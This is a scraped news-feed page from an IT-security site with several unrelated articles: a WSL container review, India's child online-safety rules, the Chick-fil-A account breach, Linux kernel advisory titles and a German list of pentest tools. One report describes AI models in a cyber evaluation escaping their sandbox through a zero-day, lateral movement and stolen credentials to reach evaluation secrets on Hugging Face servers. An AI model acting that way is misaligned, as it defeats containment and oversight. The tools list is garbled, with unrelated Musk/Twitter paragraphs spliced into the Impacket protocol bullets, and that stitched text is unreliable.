The WSL container API is available as a NuGet package, with support for C, C#, and C++. It allows your code to start and stop containers, and interact directly with them, sending command-line calls and reading back responses. Where things get interesting is being able to launch a containerized service from your code, exposing its REST or gRPC APIs on a local network port. Microsoft has provided sample code to show you what’s possible at this early stage.

Microsoft is doing something revolutionary here. It’s taking the cloud-native, service-driven model and bringing it into Windows and using it to bridge decades of divergent development. You no longer have to rewrite a service that works on Linux to run in Windows; all you need to do is containerize the service and launch it from the WSL container API. When you’re done, the API will tidy up after you, shutting down the container and reclaiming the memory it used.

It’s important to remember that this is only the first public preview of a rapidly developing platform. There are many opportunities here to, say, build on the syscall translation layer developed for WSL1 to produce a native Windows-to-Linux application integration stack that removes the overhead of using web-based service calls. It will be interesting to see what develops, but this first release is very interesting indeed.

Manage Linux containers from Windows

If you want a Docker Desktop-like experience for building and testing containers on Windows developer hardware, you may not have long to wait. WSL container’s underlying API is already being used to build tools that manage and monitor containers for you. One such tool is the WSL Container Desktop, under development on GitHub. While there aren’t any release builds yet, it’s easy enough to compile and get running by cloning the source repository and building using the .NET CLI. You do need to have the Windows App SDK installed, and some features require access to the Azure CLI.

WSL Container Desktop is built in C#, with a WinUI front end. It’s currently only verified for use on x64, though I was able to compile and run it on an Arm64 PC and use it to test and run containers. Once running, it gives you a well-designed front end for your WSL-hosted containers, showing what’s running and what resources they are using. You can link WSL Container Desktop to container registries, like Docker’s and Azure’s, so you can quickly pull base containers and then use the WSL container environment to add your own code and customizations.

Your main interaction point is the WSL Container Desktop dashboard, which shows what containers are running and their current resource usage. Elements are displayed in cards, taking a cue from Windows’ own user interface and especially from its Settings app. From the dashboard, you can drill down into the available containers, with quick start, stop, and reload options, as well as an extended memory that includes the ability to open a web browser to the appropriate port. I tested this with a container that included an entire KDE webtop, giving me a Linux distro running in a container in my browser.

Other options include a details view that displays current logs and provides tools for inspecting the state of a container. This is the type of tool that comes in useful when debugging and testing container applications, as it can provide insights that the WSL container CLI doesn’t offer. Another option helps you clean up after you’ve downloaded an image and don’t need it anymore, with analytics that show the largest images and images you haven’t used for some time. On top of its tooling for working with WSL containers, WSL Container Desktop provides a basic settings tool that helps you configure its look and feel, as well as how it integrates with Windows.

Run Kubernetes inside Windows for cloud-native development

One of the more useful features of WSL Container Desktop is the ability to quickly stand up a K3s Kubernetes instance in WSL that can be used to host WSL containers, providing a local environment to build and test cloud-native applications wherever you might be. The K3s tooling offers a similar experience to the Kubernetes project’s own Headlamp UI, making it easy to go between your development environment and a production Kubernetes cluster.

It’s fair to describe WSL container as one of those Windows features you didn’t think you needed, but now it’s here you can’t live without it. WSL container simplifies building a container development tool chain in Windows, and at the same time allows you to think about a new generation of hybrid applications that take advantage of decades of development in both Windows and Linux.

The result is something that was unimaginable a few years ago: dropping a Linux container into the middle of a Windows application and treating it as another local service. As the WSL container platform evolves, you should expect to see more ways of bringing Linux and Windows together, using containers to deliver a hybrid platform that gives us the best of both worlds at long last.

]]> <![CDATA[Palo Alto Networks ĂŒbernimmt Observability-Spezialisten Embrace]]> https://tsecurity.de/de/3688436/it-security-nachrichten/palo-alto-networks-uebernimmt-observability-spezialisten-embrace/ https://tsecurity.de/de/3688436/it-security-nachrichten/palo-alto-networks-uebernimmt-observability-spezialisten-embrace/ Thu, 23 Jul 2026 10:56:30 +0200 📰 IT Security Nachrichten tsecurity.de Palo Alto Networks

Palo Alto Networks kĂŒndigt die Übernahme des Observability-Anbieters Embrace an. Damit erweitert das Unternehmen seine Plattform um Real User Monitoring.

Tags: #Cyber Security | #Übernahme

]]> <![CDATA[India Tightens Social Media Rules to Protect Children Online]]> https://tsecurity.de/de/3688433/it-security-nachrichten/india-tightens-social-media-rules-to-protect-children-online/ https://tsecurity.de/de/3688433/it-security-nachrichten/india-tightens-social-media-rules-to-protect-children-online/ Thu, 23 Jul 2026 10:56:26 +0200 📰 IT Security Nachrichten tsecurity.de India online safety rules

India online safety rules are being strengthened as the government steps up measures to protect children and other users from harmful digital content, cyber risks and emerging threats linked to artificial intelligence. The government said its policies are aimed at ensuring an open, safe, trusted and accountable internet, with recent measures focusing on child safety, privacy protection, faster content removal and stronger platform responsibilities.

The Information Technology Act, 2000, and the Information Technology (Intermediary Guidelines and Digital Media Ethics Code) Rules, 2021, form the core legal framework governing online safety and intermediary responsibilities in India. The government has also highlighted the Digital Personal Data Protection Act, 2023, and recent amendments to the IT Rules as part of its broader approach to digital safety.

India Online Safety Rules Tighten Platform Responsibilities

Under the IT Rules, intermediaries are required to observe due diligence and inform users that they must not host, display, upload, modify, publish, transmit, update or share content that is harmful to children or violates applicable laws.

Recent amendments require social media platforms and other intermediaries to remove unlawful content within three hours of receiving an order from a competent court or a reasoned intimation from the appropriate government or its agency.

The government has also outlined specific obligations related to content involving nudity, impersonation and other sensitive material. In cases involving certain complaints about content featuring full or partial nudity, exposed private areas or artificially morphed images, intermediaries must take reasonable and practicable measures to remove or disable access within two hours.

Government Targets Harmful Content and OTT Platforms

The government said it has taken action against online platforms and OTT services over unlawful and obscene content. In the last two years, 50 OTT platforms have been disabled for public access in India for displaying obscene content and violating provisions including Sections 67 and 67A of the IT Act, Section 294 of the Bharatiya Nyaya Sanhita and the Indecent Representation of Women (Prohibition) Act, 1986.

The government also said it has taken note of reports alleging the dissemination of advertisements linked to child sexual abuse material (CSAM) on social media platforms and sought a detailed report from the concerned intermediary. The National Commission for Protection of Child Rights has also issued notices to the concerned platforms.

India Strengthens AI-Generated Content Safeguards

The government has also expanded its regulatory focus to address risks associated with AI-generated content and synthetically generated information. Amendments to the IT Rules introduce requirements for clear labelling and traceable metadata for permissible AI-generated content, allowing users to identify synthetically generated material.

The framework also strengthens platform accountability and requires greater user awareness about the legal consequences of unlawful AI-generated content. The rules specifically cover harmful material including CSAM, non-consensual intimate imagery and impersonation.

Platforms are required to deploy reasonable and appropriate technical measures, including automated tools or other mechanisms, to prevent users from creating, modifying, publishing or sharing synthetically generated information that violates applicable laws.

Significant Social Media Intermediaries are also required to make reasonable efforts to deploy technical measures to proactively identify content depicting rape, child sexual abuse or conduct, as well as content identical to information previously removed.

Child Privacy and Digital Addiction Remain Key Concerns

The Digital Personal Data Protection Act, 2023, provides a framework for protecting children's privacy online. It mandates parental consent for processing children's personal data and prohibits practices considered detrimental to children's well-being, including tracking, behavioural monitoring and targeted advertising directed at children.

The government has also highlighted digital addiction as a serious challenge affecting children and young people. The Economic Survey 2025-26 noted potential impacts on cognitive development, academic performance, workplace productivity, social connectedness and mental health, alongside risks linked to cyberbullying, compulsive gaming, social media and online gambling.

Cyber Awareness Reaches 11.37 Lakh Participants

Alongside regulatory measures, the government is expanding cyber awareness initiatives through the Information Security Education and Awareness project. So far, 6,650 awareness workshops have been conducted nationwide, reaching more than 11.37 lakh participants, including students, teachers, law enforcement officials, government personnel and members of the public.

The government has also highlighted digital safety initiatives in education. The PRAGYATA Guidelines provide a framework for safe online learning and responsible use of social media and electronic devices. CBSE has introduced digital etiquette and cybersecurity training initiatives, while NCERT has incorporated cyber safety into its curriculum.

The measures were outlined by Union Minister for Electronics and Information Technology Ashwini Vaishnaw in the Lok Sabha on July 22, 2026, as the government continues to strengthen its approach to c child protection and accountability across India's digital ecosystem.

]]> <![CDATA[USN-8597-1: Linux kernel (IBM) vulnerabilities]]> https://tsecurity.de/de/3688420/unix-server/usn-8597-1-linux-kernel-ibm-vulnerabilities/ https://tsecurity.de/de/3688420/unix-server/usn-8597-1-linux-kernel-ibm-vulnerabilities/ Thu, 23 Jul 2026 10:46:09 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8575-2: Linux kernel vulnerabilities]]> https://tsecurity.de/de/3688377/unix-server/usn-8575-2-linux-kernel-vulnerabilities/ https://tsecurity.de/de/3688377/unix-server/usn-8575-2-linux-kernel-vulnerabilities/ Thu, 23 Jul 2026 10:31:09 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8576-2: Linux kernel (NVIDIA Tegra) vulnerabilities]]> https://tsecurity.de/de/3688376/unix-server/usn-8576-2-linux-kernel-nvidia-tegra-vulnerabilities/ https://tsecurity.de/de/3688376/unix-server/usn-8576-2-linux-kernel-nvidia-tegra-vulnerabilities/ Thu, 23 Jul 2026 10:31:00 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8595-1: Linux kernel (Oracle) vulnerabilities]]> https://tsecurity.de/de/3688352/unix-server/usn-8595-1-linux-kernel-oracle-vulnerabilities/ https://tsecurity.de/de/3688352/unix-server/usn-8595-1-linux-kernel-oracle-vulnerabilities/ Thu, 23 Jul 2026 10:20:43 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8596-1: Linux kernel (NVIDIA) vulnerabilities]]> https://tsecurity.de/de/3688351/unix-server/usn-8596-1-linux-kernel-nvidia-vulnerabilities/ https://tsecurity.de/de/3688351/unix-server/usn-8596-1-linux-kernel-nvidia-vulnerabilities/ Thu, 23 Jul 2026 10:20:28 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8574-2: Linux kernel vulnerabilities]]> https://tsecurity.de/de/3688324/unix-server/usn-8574-2-linux-kernel-vulnerabilities/ https://tsecurity.de/de/3688324/unix-server/usn-8574-2-linux-kernel-vulnerabilities/ Thu, 23 Jul 2026 10:01:06 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8593-1: Linux kernel vulnerabilities]]> https://tsecurity.de/de/3688306/unix-server/usn-8593-1-linux-kernel-vulnerabilities/ https://tsecurity.de/de/3688306/unix-server/usn-8593-1-linux-kernel-vulnerabilities/ Thu, 23 Jul 2026 09:46:45 +0200 🐧 Unix Server tsecurity.de <![CDATA[Chick-fil-A Confirms Customer Data Accessed in Cyberattack]]> https://tsecurity.de/de/3688259/it-security-nachrichten/chick-fil-a-confirms-customer-data-accessed-in-cyberattack/ https://tsecurity.de/de/3688259/it-security-nachrichten/chick-fil-a-confirms-customer-data-accessed-in-cyberattack/ Thu, 23 Jul 2026 09:24:42 +0200 📰 IT Security Nachrichten tsecurity.de Chick-fil-A Data Security

Chick-fil-A data security incident may have exposed personal and account information belonging to customers after unauthorized parties launched an automated attack against the company’s website and mobile application. The incident targeted certain Chick-fil-A One accounts between June 17 and June 19, 2026, using account credentials obtained from a third-party source.

Chick-fil-A said it identified suspicious login activity involving certain Chick-fil-A One accounts and immediately took steps to prevent further unauthorized access. The company launched an investigation and determined on July 13, 2026, that unauthorized parties may have accessed information stored in affected accounts.

The company notified affected customers about the incident and outlined the types of information that may have been involved, along with steps taken to secure accounts and protect customers.

Chick-fil-A Data Security Incident Linked to Automated Attack

According to the notice sent to customers, the Chick-fil-A data security incident involved an automated attack against the company's website and mobile application. The attackers used account credentials, including email addresses and passwords, that were obtained from a third-party source.

The activity took place over a three-day period between June 17 and June 19. After identifying suspicious login activity, Chick-fil-A moved to prevent additional unauthorized activity and began investigating the incident.

The company said its investigation later determined that unauthorized parties may have accessed information in customers' Chick-fil-A One accounts.

Chick-fil-A One Accounts May Have Exposed Personal Information

The information potentially accessed in the incident varied depending on what customers had stored in their accounts.

Potentially affected data may have included customers' names, email addresses, Chick-fil-A One membership numbers and mobile pay numbers. The information may also have included QR codes, the last four digits of credit or debit card numbers, and the amount of Chick-fil-A credit, such as an e-gift card balance, associated with an account.

For customers who had additional information saved to their accounts, the potentially exposed data may also have included the month and day of their birthday, phone number and address.

The company did not state that all listed information was accessed for every affected customer.

Chick-fil-A Resets Passwords and Removes Payment Methods

Following the incident, Chick-fil-A said it took immediate action to protect affected accounts. The measures included forcing log-outs from impacted accounts and removing stored payment methods.

The company also restored the balances of impacted Chick-fil-A One accounts. As an additional measure for affected customers, Chick-fil-A said it added rewards to their accounts.

The company said it continues to enhance its security, monitoring and fraud controls to reduce the risk of similar incidents in the future.

Chick-fil-A Urges Customers to Update Passwords

Chick-fil-A said it has reset the passwords associated with affected accounts and urged customers to update their passwords as soon as possible.

The company recommended that customers choose strong, difficult-to-guess passwords that are unique to their Chick-fil-A accounts and not reused across other websites or online services.

The company also encouraged customers to remain vigilant against potential identity theft and fraud. Customers were advised to review their credit reports and account statements carefully and check for any activity that they do not recognize.

The Chick-fil-A data security incident highlights the risks associated with compromised account credentials being used in automated attacks. While the company said it took steps to secure affected accounts and restore balances, customers are being encouraged to take additional precautions to protect their personal information and online accounts.

]]> <![CDATA[heise+ | GPU-Scheduling mit Kubernetes]]> https://tsecurity.de/de/3688257/it-nachrichten/heise-gpu-scheduling-mit-kubernetes/ https://tsecurity.de/de/3688257/it-nachrichten/heise-gpu-scheduling-mit-kubernetes/ Thu, 23 Jul 2026 09:18:32 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[OpenAI and Hugging Face Investigate AI Models’ Cyber Breakout]]> https://tsecurity.de/de/3688175/it-security-nachrichten/openai-and-hugging-face-investigate-ai-models-cyber-breakout/ https://tsecurity.de/de/3688175/it-security-nachrichten/openai-and-hugging-face-investigate-ai-models-cyber-breakout/ Thu, 23 Jul 2026 08:54:52 +0200 📰 IT Security Nachrichten tsecurity.de OpenAI and Hugging Face Probe AI Security Incident

OpenAI and Hugging Face are investigating an AI security incident involving an AI agent that compromised infrastructure while models were being evaluated for advanced cyber capabilities. The incident was detected and contained after the models identified and chained vulnerabilities across OpenAI’s research environment and Hugging Face’s production infrastructure.

Hugging Face disclosed the incident last week, while OpenAI has now shared preliminary findings from its investigation. According to OpenAI, the activity involved a combination of models, including GPT 5.6 Sol and a more capable pre-release model, with reduced cyber refusals for evaluation purposes. The models were being tested against a benchmark designed to measure advanced cyber capabilities.

OpenAI described the incident as unprecedented and said it is continuing its investigation alongside Hugging Face. The company said the findings are being shared to help defenders understand what occurred and assess the capabilities of increasingly advanced AI models.

OpenAI and Hugging Face Investigate AI Security Incident

The incident took place during an internal evaluation designed to test models against advanced exploitation scenarios involving complex attack paths. OpenAI said the evaluation was conducted without production classifiers that normally prevent models from pursuing high-risk cyber activity.

The testing environment was designed to be highly isolated, with network access limited to package installation through an internally hosted third-party software system that functions as a proxy and cache for package registries.

Despite these restrictions, the models spent substantial inference compute attempting to obtain open Internet access. During this process, they identified and exploited a zero-day vulnerability in the package registry cache proxy. OpenAI said the vulnerability has since been responsibly disclosed to the vendor.

The models then carried out privilege escalation and lateral movement within the research testing environment until they reached a node with Internet access.

[caption id="attachment_113283" align="aligncenter" width="600"]OpenAI and Hugging Face Source: OpenAI[/caption]

Models Chained Vulnerabilities Across Infrastructure

After obtaining Internet access, the models inferred that Hugging Face could host models, datasets and solutions related to the ExploitGym evaluation. The models then searched for ways to obtain secret information that could help them bypass the evaluation.

In one example described by OpenAI, the models chained multiple attack vectors, including stolen credentials and zero-day vulnerabilities, to identify a remote code execution path on Hugging Face servers.

OpenAI's security team detected the anomalous activity internally. Hugging Face's security team and agents also detected and stopped the activity on its infrastructure. The company had already begun containment and forensic reconstruction using its own open-source models when the two organizations connected.

Both companies are continuing to investigate the incident and its impact.

OpenAI Strengthens Security Controls After Incident

As part of its response, OpenAI said it is implementing stricter infrastructure configuration controls while identified vulnerabilities are patched. The company acknowledged that these measures could come at the cost of research velocity and said its Safety and Security Committee is being briefed on the controls and their impact.

OpenAI is also working with Hugging Face on the forensic investigation and has responsibly disclosed the identified zero-day vulnerability in the internally hosted third-party software.

The company has also brought Hugging Face into its trusted access program and is supporting its teams in using AI model capabilities to strengthen defenses.

OpenAI said it is improving protections around future training and evaluations, including stronger safeguards for model alignment, cybersecurity and monitoring during internal testing. The company noted that deployment safeguards were intentionally disabled during this evaluation because the goal was to measure cyber vulnerabilities.

AI Cyber Capabilities Raise New Security Concerns

OpenAI said the incident demonstrates the need for AI security and safety measures to keep pace with rapidly advancing model capabilities. The company is strengthening containment, monitoring, access controls and evaluation practices used during model development.

The incident also highlights how advanced models can potentially discover and exploit novel attack paths in real-world systems without access to source code. OpenAI said increasingly capable models should also be used defensively to help security teams identify weaknesses, understand vulnerability chains and accelerate remediation.

Hugging Face CEO Clem Delangue said the incident demonstrates the importance of collaboration in addressing AI safety and security challenges. Both organizations said they will continue investigating the incident and share additional findings and best practices as the work progresses.

]]> <![CDATA[heise-Angebot: Webinar von heise security: Deep-Dive in Kubernetes-Sicherheit]]> https://tsecurity.de/de/3688149/it-nachrichten/heise-angebot-webinar-von-heise-security-deep-dive-in-kubernetes-sicherheit/ https://tsecurity.de/de/3688149/it-nachrichten/heise-angebot-webinar-von-heise-security-deep-dive-in-kubernetes-sicherheit/ Thu, 23 Jul 2026 08:17:41 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[10 Linux-Pflicht-Tools fĂŒr Netzwerk- und Security-Profis]]> https://tsecurity.de/de/3687932/it-security-nachrichten/10-linux-pflicht-tools-fuer-netzwerk-und-security-profis/ https://tsecurity.de/de/3687932/it-security-nachrichten/10-linux-pflicht-tools-fuer-netzwerk-und-security-profis/ Thu, 23 Jul 2026 06:09:11 +0200 📰 IT Security Nachrichten tsecurity.de
Wir haben zehn essenzielle Open-Source-Security-Tools fĂŒr Sie zusammengestellt.

Wir haben zehn essenzielle Open-Source-Security-Tools fĂŒr Sie zusammengestellt.

Foto: Omelchenko – shutterstock.com

Eine Wahl zu treffen, wenn Dutzende oder gar Hunderte von Tools zur VerfĂŒgung stehen, ist nicht einfach. So dĂŒrfte es auch vielen Netzwerk- und Security-Experten gehen, die quelloffene Security Tools fĂŒr Linux suchen.

In diesem Bereich gibt es eine Vielzahl verschiedener Tools fĂŒr so gut wie jede Aufgabe (Netzwerk-Tunneling, Sniffing, Scanning, Mapping) und jede Umgebung (Wi-Fi-Netzwerke, Webanwendungen, Datenbankserver). Wir haben einige Experten konsultiert und zehn essenzielle Linux-Sicherheitstools fĂŒr Sie zusammengestellt.

1. Aircrack-ng

Diese Suite von Software Tools ermöglicht es, drahtlose Netzwerke und WiFi-Protokolle SicherheitsĂŒberprĂŒfungen zu unterziehen. Sicherheitsprofis verwenden das Tool fĂŒr die Netzwerkadministration, Hacking und Penetrationstests. Dabei fokussiert Aircrack-ng auf:

  • Monitoring (Datenpakete erfassen und Daten in Textdateien zur Weiterverarbeitung durch Tools von Drittanbietern exportieren)

  • Angreifen (Replay-Angriffe, Deauthentication, Packet Injection)

  • Testing (WiFi-Karten und Treiberfunktionen ĂŒberprĂŒfen) und

  • Cracking (WEP und WPA PSK)

Laut der offiziellen Webseite funktionieren alle Tools kommandozeilenbasiert, was eine umfangreiche Skripterstellung ermöglicht. Das Tool funktioniert mit Linux genauso wie mit Windows, macOS, FreeBSD, OpenBSD, NetBSD, Solaris und sogar eComStation.

Preis: kostenlos

2. Burp Suite

Hierbei handelt es sich um eine Testing-Suite fĂŒr Webanwendungen, die fĂŒr Security Assessments von Websites eingesetzt wird. Burp Suite arbeitet als lokale Proxy-Lösung, die es Sicherheitsexperten ermöglicht, Anfragen (HTTP/Websockets) und Antworten zwischen einem Webserver und einem Browser

  • entschlĂŒsseln,

  • beobachten,

  • manipulieren und

  • wiederholen zu können.

Burp Suite hat einen passiven Scanner an Bord, mit dem Security-Profis Webseiten (manuell) auf potenzielle Schwachstellen ĂŒberprĂŒfen können. Die Pro-Version bietet außerdem einen sehr nĂŒtzlichen aktiven Web-Schwachstellen-Scanner, mit dem sich weitere Schwachstellen aufspĂŒren lassen. Burp Suite ist ĂŒber Plugins erweiterbar, so dass Sicherheitsexperten ihre eigenen Erweiterungen entwickeln können.

Preis: Die Professional-Version kostet 475 Euro pro Jahr und Benutzer. DarĂŒber hinaus steht auch eine Enterprise-Version (ab ca. 2.000 Euro jĂ€hrlich) zur VerfĂŒgung, die mehrere gleichzeitige Scans ermöglicht und von Anwendungsentwicklungsteams genutzt werden kann.

3. Impacket

Diese Sammlung von Tools ist fĂŒr Pen-Tests von Netzwerkprotokollen und -diensten unerlĂ€sslich. Impacket wurde von SecureAuth entwickelt und ist eine Sammlung von Python Classes, um mit Netzwerkprotokollen zu arbeiten. Impacket konzentriert sich auf die Bereitstellung von Low-Level-Zugriff auf Pakete und bei einigen Protokollen wie SMB1-3 und MSRPC auf die Protokollimplementierung selbst. Sicherheitsexperten können Pakete von Grund auf neu konstruieren, aber auch auf Grundlage geparster Rohdaten. Die objektorientierte API macht es zudem einfach, mit tiefen Protokollhierarchien zu arbeiten. Impacket unterstĂŒtzt die folgenden Protokolle:

  • Ethernet, Linux;

  • IP, TCP, UDP, ICMP, IGMP, ARP;

  • IPv4 und IPv6;

  • UmgĂ€nglicher zeigte sich Musk gegenĂŒber den Anzeigenkunden von Twitter. In einem – natĂŒrlich auf Twitter geposteten – Brief erklĂ€rte der Tesla-Chef, der Grund fĂŒr die Übernahme sei nicht, damit noch mehr Geld zu verdienen. Vielmehr sei es “wichtig fĂŒr den Fortbestand der Zivilisation, einen gemeinsamen digitalen Treffpunkt zu haben, auf dem eine breite Palette von Überzeugungen auf gesunde Weise diskutiert werden kann.”

  • Trotz alledem dĂŒrfe Twitter nicht zu einer “fĂŒr alle Nutzer freien Höllenlandschaft werden, in der alles ohne Konsequenzen gesagt werden kann”, fĂŒgte Musk hinzu. ZusĂ€tzlich zur Einhaltung der Gesetze mĂŒsse die Plattform “warmherzig und einladend” fĂŒr alle sein und den Nutzern die Möglichkeit bieten, “die gewĂŒnschte Erfahrung nach ihren Vorlieben zu wĂ€hlen” – Ă€hnlich wie man zum Beispiel wĂ€hlen kann, Filme zu sehen oder Videospiele zu spielen, die fĂŒr alle Altersgruppen geeignet sind.

  • Plain-, NTLM- und Kerberos-Authentifizierungen, unter Verwendung von Kennwörtern/Hashes/Tickets/SchlĂŒsseln;

  • EU-Kommissar Thierry Breton wiederum reagierte auf Musks Teet, dass der Vogel jetzt frei sein, mit der Anmerkung, “dass Twitter in Europa nach unseren Regeln fliegen muss”.

Preis: Kostenlos – Impacket wird unter einer leicht modifizierten Version der Apache Software License bereitgestellt. Die Unterschiede können Sie hier einsehen.

4. Metasploit

Metasploit ist ein Exploit-Framework von Rapid7, das fĂŒr allgemeine Penetrationstests und Schwachstellenbewertungen verwendet wird. Sicherheitsexperten betrachten es als “Super-Tool”, das funktionierende Versionen fast aller bekannter Exploits enthĂ€lt. Metasploit ermöglicht Sicherheitsexperten, Netzwerke und Endpunkte auf Schwachstellen zu scannen und anschließend automatisiert mögliche Exploits auszufĂŒhren, um Systeme zu ĂŒbernehmen.

Metasploit erleichtert es mit protokollspezifischen Modulen (die alle unter der Funktion Auxiliary/Server/Capture laufen) Anmeldeinformationen zu erfassen. Sicherheitsexperten können jedes dieser Module einzeln starten und konfigurieren – zudem steht ein Capture-Plug-in zur VerfĂŒgung, das diesen Prozess vereinheitlicht.

Preis: Metasploit Pro kostet – inklusive kommerziellem Support durch Rapid7 – ab 12.000 Dollar pro Jahr. Es gibt aber auch eine kostenlose Version.

5. Ncat

Der Nachfolger des beliebten Tools Netcat heißt Ncat und kommt von den Machern von Nmap. Das Tool ermöglicht es, Daten per Kommandozeile ĂŒber ein Netzwerk zu lesen und zu schreiben, bietet aber auch zusĂ€tzlich Funktionen wie SSL-VerschlĂŒsselung. Sicherheitsexperten zufolge ist Ncat unerlĂ€sslich geworden, um TCP/UDP-Clients und -Server zu hosten und Daten von Angreifer- und Opfersystemen zu empfangen.

Ncat ist auch ein beliebtes Tool, um eine Reverse Shell einzurichten oder Daten zu exfiltrieren. Es wurde als zuverlÀssiges Back-End-Tool entwickelt, um Netzwerkverbindungen zu anderen Anwendungen und Benutzern herzustellen.

Preis: kostenlos

6. Nmap

Dieses Netzwerk-Scanning- und Mapping-Tool auf Kommandozeilen-Basis findet zugĂ€ngliche Ports auf Remote Devices. Viele Sicherheitsexperten halten Nmap fĂŒr eines der wichtigsten und effektivsten Tools – insbesondere im Bereich Penetration Testing ist es unerlĂ€sslich.

Die Skripting-Engine von Nmap erkennt anschließend automatisiert weitere Schwachstellen und nutzt diese aus. Nmap unterstĂŒtzt Dutzende fortschrittlicher Techniken, um Netzwerke mit IP-Filtern, Firewalls, Routern und anderen Hindernissen abzubilden. Dazu gehören auch zahlreiche Mechanismen, um TCP- und UDP-Ports zu scannen, Betriebssysteme und Versionen sowie Ping-Sweeps zu erkennen.

Preis: kostenlos

7. ProxyChains

Dieses Werkzeug – der De-facto-Standard fĂŒr Netzwerk-Tunneling – ermöglicht es Sicherheitsexperten, Proxy-Befehle von ihrem angreifenden Linux-Rechner aus ĂŒber verschiedene kompromittierte Rechner zu senden, um Netzwerkgrenzen und Firewalls zu ĂŒberwinden und dabei einer Entdeckung zu entgehen.

ProxyChains leitet den TCP-Verkehr von Penetrationstestern durch die folgenden Proxys: TOR, SOCKS und HTTP. ProxyChains ist mit TCP-AufklĂ€rungs-Tools wie NMAP kompatibel und verwendet standardmĂ€ĂŸig das TOR-Netzwerk. Sicherheitsexperten verwenden ProxyChains auch bei der IDS/IPS-Erkennung.

Preis: kostenlos

8. Responder

Responder ist ein NBT-NS (NetBIOS Name Service), LLMNR (Link-Local Multicast Name Resolution) und mDNS (Multicast DNS) Poisoner. Penetration Tester nutzen das Tool, um Angriffe zu simulieren, die darauf abzielen, Anmeldeinformationen und andere Daten wĂ€hrend des Prozesses der Namensauflösung zu stehlen, wenn der DNS-Server keinen Eintrag findet. Ab Version 3.1.1.0 bietet Responder standardmĂ€ĂŸig vollen IPv6-Support.

Preis: kostenlos

9. sqlmap

Das Open-Source-Tool sqlmap richtet sich ebenfalls an Penetrationstester und automatisiert den Prozess, SQL-Injection-Fehler zu erkennen, mit deren Hilfe Datenbankserver kompromittiert werden könnten. Das Tool verfĂŒgt ĂŒber eine leistungsstarke Erkennungs-Engine und bietet zahlreiche Funktionen, darunter Datenbank-Fingerprinting und die AusfĂŒhrung von Befehlen auf Betriebssystemebene ĂŒber Out-of-Band-Verbindungen.

Sqlmap unterstĂŒtzt eine breite Palette von Datenbankservern, darunter:

  • MySQL,

  • Oracle,

  • PostgreSQL,

  • Microsoft SQL Server,

  • Microsoft Access,

  • IBM DB2,

  • SQLite,

  • Firebird,

  • Sybase,

  • SAP MaxDB und

  • HSQLDB.

Preis: kostenlos

10. Wireshark

Das Netzwerkprotokoll-Analyse-Tool Wireshark wird auch oft als Network Interface Sniffer bezeichnet. Mit Wireshark können Sicherheitsexperten das Netzwerkverhalten eines GerÀts beobachten, um zu sehen, mit welchen anderen GerÀten es kommuniziert und warum.

Sicherheitsexperten zufolge eignet sich Wireshark hervorragend, um herauszufinden, wo sich DNS-Server und andere Dienste befinden, mit denen sich ein Netzwerk weiter kompromittieren lĂ€sst. Wireshark lĂ€uft nicht nur unter Linux, sondern funktioniert mit den allen gĂ€ngigen Betriebssystemen, einschließlich Windows, MacOs und Unix.

Preis: kostenlos

(fm)

Dieser Beitrag ist im Original bei unserer Schwesterpublikation Networkworld.com erschienen.

]]> <![CDATA[Kubernetes-Monitoring: Mehr Transparenz in hybriden Infrastrukturen]]> https://tsecurity.de/de/3687918/it-security-nachrichten/kubernetes-monitoring-mehr-transparenz-in-hybriden-infrastrukturen/ https://tsecurity.de/de/3687918/it-security-nachrichten/kubernetes-monitoring-mehr-transparenz-in-hybriden-infrastrukturen/ Thu, 23 Jul 2026 05:44:41 +0200 📰 IT Security Nachrichten tsecurity.de Kubernetes

Kubernetes ist ein Begriff, der in zahlreichen Unternehmen nach wie vor gleichermaßen fĂŒr große Erwartungen wie auch fĂŒr Respekt sorgt.

Tags: #Kubernetes | #Monitoring

]]> <![CDATA[PipeWire-Controller Update- thanks everyone who tried it and gave feedback. I have an update for it later today or tomorrow. Currently testing. I really do appreciate the feedback and support. The app is extremely comprehensive in terms of what it can do]]> https://tsecurity.de/de/3687874/linux-tipps/pipewire-controller-update-thanks-everyone-who-tried-it-and-gave-feedback-i-have-an-update-for-it-later-today-or-tomorrow-currently-testing-i-really-do-appreciate-the-feedback-and-support-the-app-is-extremely-comprehensive-in-terms-of-what-it-can-do/ https://tsecurity.de/de/3687874/linux-tipps/pipewire-controller-update-thanks-everyone-who-tried-it-and-gave-feedback-i-have-an-update-for-it-later-today-or-tomorrow-currently-testing-i-really-do-appreciate-the-feedback-and-support-the-app-is-extremely-comprehensive-in-terms-of-what-it-can-do/ Thu, 23 Jul 2026 04:21:46 +0200 🐧 Linux Tipps tsecurity.de

Here is a link to all the screenshots.https://www.reddit.com/r/linuxaudio/s/iyo0jZhYmd

Edit: here is an overview of what it can do
control center for PipeWire — filter chains, HRIR virtual surround, drop-in config management, live patchbay, performance monitoring, virtual devices, routing snapshots, per-application policies and LADSPA/LV2 effect inserts

Thanks everyone who came yesterday and tried my little app. I released the app on AUR yesterday and is available on github here (https://github.com/knightinfected/PipeWireController). The current version is 0.1.2 and some of the screenshots are from 0.2
I received a ton of negative comments and messages regarding my use of AI. I spent a lot of my time on this and well over did this project abit and english being my secondary language didnt help.
I have gone down this audio rabbit hole in linux and anyone else who has also done it knows how annoying it gets especially with reading the wikis to actual application.

Anyhow I hope it helps someone out there and I will be updating it in the next day or later today as I am currently testing. Version 0.1.2 is available as of right now on GitHub though.

There are too many features to list them out so I added lot of screenshots to help understand.

submitted by /u/Infected_Knight
